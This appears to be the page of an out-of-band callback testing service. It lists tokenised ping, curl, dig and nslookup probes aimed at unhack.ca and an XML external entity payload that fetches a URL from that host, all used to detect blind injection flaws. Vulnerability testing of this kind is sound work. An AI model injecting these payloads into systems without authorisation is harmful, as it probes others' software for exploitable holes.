$ ping -c1 -p 0092ae097f9c1607ab3776a00fd8fd00 unhack.ca
 
$ curl http://unhack.ca/p/92ae097f9c1607ab3776a00fd8fd
 
$ dig 92ae097f9c1607ab3776a00fd8fd @unhack.ca
 
$ dig 92ae097f9c1607ab3776a00fd8fd.ns.unhack.ca
 
C:\> nslookup 92ae097f9c1607ab3776a00fd8fd unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/92ae097f9c1607ab3776a00fd8fd">]>
    <foo>&xxe;</foo>
Waiting for ping...